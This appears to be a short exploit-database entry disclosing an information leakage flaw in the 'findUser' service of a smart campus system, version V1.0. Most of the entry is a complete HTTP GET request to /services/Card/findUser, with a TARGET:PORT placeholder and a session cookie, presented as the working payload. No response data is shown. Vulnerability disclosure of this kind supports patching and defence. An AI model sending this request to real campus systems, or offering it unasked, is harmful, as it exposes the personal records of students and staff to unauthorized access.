Exploit Title: Information leakage vulnerability exists in findUser, a smart campus system developed by Dot Tech
Date: 2022-12/02
Exploit Author: Peanut886
Vendor Homepage: http://www.dianvo.com/Gywm/index.jhtml
Version: V1.0
Tested on: windows10 + phpstudy
Description
Information leakage vulnerability exists in findUser, a smart campus system developed by Dot Tech
Payload used:
GET /services/Card/findUser HTTP/1.1
Host: TARGET:PORT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=CF54BC1161620D928C2D258B97DEE39B
Connection: close
Returns part of the package
